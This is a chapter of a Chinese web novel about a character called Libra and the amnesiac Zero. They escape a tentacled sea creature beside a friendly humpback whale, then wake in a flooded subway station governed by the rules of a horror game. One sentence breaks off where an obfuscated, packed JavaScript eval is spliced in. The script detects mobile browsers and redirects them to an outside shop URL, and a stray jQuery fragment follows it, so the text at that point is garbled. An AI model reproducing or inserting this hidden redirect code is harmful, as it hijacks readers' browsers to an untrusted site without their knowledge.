感受到海底传来轰鸣的「天秤」身影晃了些许,“好像有大家伙要过来了,要先撤退吗?”
零号拿着那个显得有些脏兮兮的头盔,身影在那群小鱼的环绕下没有任何的波动。
“没关系,是我朋友来了。”
祂在梦里还有朋友?
——昂——
随着海里的波动越来越大,远远的地方游来了一只巨大的鲸。
「天秤」对鲸鱼的了解不算太多,只能隐约判断出来它好像是一只座头鲸。
须鲸科座头鲸属海洋哺乳动,别名大翅鲸、驼背鲸、巨臂鲸。一般体肥大,上颌广阔,背鳍相对小,鳍肢大,约为体长的1/3。这是科书上对于座头鲸的描述,但这头“座头鲸”显然有些许不同,它本来应该是黑色的背部,白色或黑色的腹部,黑色边缘的白色尾鳍,但「天秤」见到的它——
腹部是有些许金色纹路的银色,隐约可以看到较为透明的表皮下泛着银光的脂肪层。它的背鳍也比科书上描述的更长一些,约为身体的2/3,同样也有金色的纹路描线,它的尾鳍也表露出同样的金银配色。
尾巴尖尖处还有几条坠着几个小点点的须须在海水中飘着。
“昂?”这头大家伙凑过来,用一边的眼珠子看着这两个小小的小不点。
“昂?”好朋友,你是哪个?难道是两个?!
——你来了——
零号的嘴巴张了一下,但「天秤」并没有听到任何声音。
“昂~”得到了回应的座头鲸想用它那硕大的脑袋蹭一蹭眼前的这个好朋友,然后被好朋友拒绝了,但得到了来自好朋友的一个轻柔的摸摸。
零号:摸摸摸摸
座头鲸:昂昂昂
「天秤」在旁边看着那头鲸蓝灰色的眼睛,又看了看用手在座头鲸眼下的一片皮肤摸摸摸的零号,莫名感觉自己在这里有点多余。
突然,座头鲸的尾鳍不安地煽动了一下,水流带着些许泡泡在海水中摇了几摇。
“又有东西过来了。”零号说道,“我听到很远的地方有一大片水流涌动的声音,看动静应该比这孩子还要大得多。”零号安抚似地又摸了摸座头鲸。
这孩子?
「天秤」点了点头,“又是你朋友?”脑海中那个傻子队长的声音还在奔跑,此时此刻已经从刚刚强调规则变成了在调侃他和「镜面」到底谁能当他们支队的第一沉默寡言男,「天秤」此刻脑子嗡嗡地,不想思考。
“不是,”零号难得沉默了一瞬,“我没那么多朋友。”
“那要撤退吗?”
“虽然我很想这么说,但是根据那玩意儿的速度,我们估计跑不了了。”零号指着一个方向,“刚刚那家伙的声音还在几海里开外,现在我已经看到它了。”
「天秤」顺着她手指的方向看去,只见不远处一大坨黑漆漆铺天盖海地涌了过来。
那一大块不明的黑色生物,有着好几根挥舞着的触手,张牙舞爪地朝她们二人卷了过来。
原本环绕在零号周边的那群小鱼惊得一下子散开了去,而那头巨大的座头鲸则摆动着鳍肢,头部稍昂,尾巴晃了晃,督促着她们快快跟它离开。
「天秤」顾不得更多,一把拉住零号的手腕,随着座头鲸快速地朝另一个方向游去。
那触手几根并作一根地砸来,旁边那些原本就已经不成样的建筑坍塌地更厉害了,些许灰白色的沙石和海水一起浮动着。
找到那个头盔的塔也坍塌了,上面剩下的藤壶也在触手的作用下一个个碎裂开来,那些粉红色的胶状物随着泡泡在海水中飘。
“轰!”
又是触手们与建筑发生的撞击,两个人在海里游的速度远远比不上在海中有好多个手脚并用可以一起扒拉的那一大坨。
“昂?”好朋友,快跑啊啊啊啊啊啊啊啊!
那座头鲸现在也快要被触手抓住了,它用大大的脑袋顶了顶这两个小小的人,奋力地往前游着。
“来不及了!”
触手中的一条已经攀住了鲸的尾鳍,狠狠向后以拽!
“昂——” 痛痛!
座头鲸巨大的身躯些许蜷缩了一下,原本在它吻部侧方游着的两个身影也顿了一顿。
另外两根触手见机行事,一下子抓住了她们俩的腿——
“不好!”「天秤」拉着零号的手向前拽去,然后另一只手配合着一起把零号向前推一推!
在力的作用下,零号的身躯向前飘了一大截,反而「天秤」则彻底被那些触手抓住了,后面更多的触手涌来,他很快消失在了黑漆漆的触手之中。
“!”零号抚了抚身旁受惊的座头鲸,不太明白为什么这个第一次遇见的人会为了“救”自己而选择放弃挣扎,愿意被那群触手淹没。
零号稍稍歪了歪头,没再继续跟着好朋友向前跑,而是停了下来。
“昂——”好朋友,怎么不游啦?不玩了吗?
“没什么,”零号又摸摸座头鲸,“你先走吧,下次再一起玩。”
袖子下的手抬起后,轻轻一推,座头鲸便被推出了遥远的距离,很快便从这片海域不见了身影。
目送好朋友离开,零号没有继续动作,而是静静待在原来的位置等待那群触手缠绕过来…
感受到“猎物”放弃了挣扎,那群触手竟然反而有些许的犹豫和停顿,然后果断地从四面八方将零号包围了起来。
终于…找到了…
——————
「天秤」再睁开眼的时候,他正站在一座被海水淹了站台的蓝白色站厅中,看着水下的轨道样式,应该是一座地铁站台。
本来还以为会直接“梦醒”,今天“祂”的梦做得格外漫长。
不远处有几个人闹哄哄地不知道在说什么,「天秤」并不想掺合太多其他的内容,并不打算过去跟那群人有什么交集。
那个最大的麻烦不在这里,环顾了一圈没有看到零号的「天秤」刚要舒口气,然后就看到零号水灵灵地出现在了站台上。
哦,她手上还抱着那个头盔。
察觉到视线的零号朝这个熟人这里走来,还没有说什么,就听到站台广播响了起来。
“滋——滋滋——请各位尊敬的旅客注意——滋………下一班列车即将——即将抵达……潮汐……请注意遵守规则,按照规定上下车——滋……下一站——站。”
“规则?”「天秤」稍感有些许不妙,竟然被卷入了未知的规则领域之中吗?
未知的规则领域象征着极大的不稳定,如果只有自己倒可以快速通关离开,但是现在“祂”还在这里……
“诶呦大兄弟、大妹子,你们就是刚到的两名玩家吧?新玩家?”
刚刚在站台不远处跟另外的几个男女讲解着什么东西的男
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929388|213582||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
性走了过来,“你们可以叫我张叔,你们别害怕哈,咱这边现在是被卷入到了一个莫名的规则怪谈啦!灵气复苏知道不?那可是咱们的大机缘!只要从这里出去,咱们就可以选择带走一件东西回家!”
那个有一颗大黄牙的中年男性朝零号他们呲着牙。
“至于刚刚广播说的规则,咱们眼睛前面有一块板子的,你们看看,上面写了注意事项的,要背好。现在关卡还没有开始,等下等到站台进车了,那些规则就消失了,现在要抓紧背!”
「天秤」不经心地抬眼看了一下眼前悬挂着的那个透蓝的屏幕,点了点头,没有说话。
【潮汐列车乘坐注意事项:
1.不可直视海面
2.如果有人叫你的名字,请先确认祂是否是你的同伴
3.每一班列车都会到站,请确认你到达了目的站台,到站后请及时下车
4.站台上没有穿黄色雨衣的人,如果有,请找穿红色雨衣的工作人员寻求帮助
6.站台没有穿蓝色雨衣的工作人员,请无视
7.不要让祂醒来,不要让祂醒来!】
中年男子照着规则又念了一遍,“张叔我也算是老玩家了,你们有啥子问题欢迎来问我。为了方便咱们彼此确认同伴,要不然跟俺们一起去互相认认脸?”
看着这个第一眼看到就让自己感到不喜的人,零号现在反而有些感谢他,因为自己的眼前并没有他所说的什么“规则”,只写了几个字:
【欢迎您,尊贵的阁下,潮汐列车欢迎您的到来,祝您玩得愉快 ?】
零号并没有声张,毕竟记忆不完全的自己到底有什么秘密她本人也不知道。
她看了一眼旁边的临时“队友”,那个一直有点沉默寡言的男人并没有想要搭理这个张叔的意思,眼瞧着面前这张有些衰老的人脸上已经有点挂不住了。
“我是零。”零号点了点头,并没有跟张叔握手。
“梁衡。”「天秤」也点了点头。
啧,来了两个难搞的家伙,真麻烦。
张叔在心底暗声骂道,希望不会搞出来什么幺蛾子。
“除了你们可以叫我张叔以外,另外那几个小年轻里面,那个有着个蝴蝶结的小姑娘叫梁静,那个戴着眼镜的叫张超,那个一头黄毛的叫耀祖。”张叔指了指几步远之外的那几人,“张叔我还挺厉害吧,走吧咱们跟他们汇合一下,等下好方便乘车。”
零号倒无所谓,看了眼同样无所谓的梁衡后,也没在乎这个张叔说的那些一听就是假名字的问题,迈起腿跟着一起往那边走了过去。
「天秤」——也就是梁衡,现在则在思考要不要启动紧急唤醒装置,以防“祂”在这个规则领域中受到什么刺激,这里可没有三级筛查程序,不稳定程度简直大幅度上升!
“好啦好啦,咱们最后两位玩家也都到齐了,应该马上就来车了。”带着两个“新人”走回队伍的张叔指了指零号和「天秤」,“喏,她是零,他是梁衡。”
零?
特殊的名字引起了这几个小年轻的兴趣,那个有个大蝴蝶结在脖子后面绑着的梁静凑过来叽叽喳喳地跟零号聊了起来。
当然大部分时间都是她在说,零号听着。
“——列车已经进站,请——上车——从——两侧——请注意安全——滋……”
车站的广播恰时响了起来。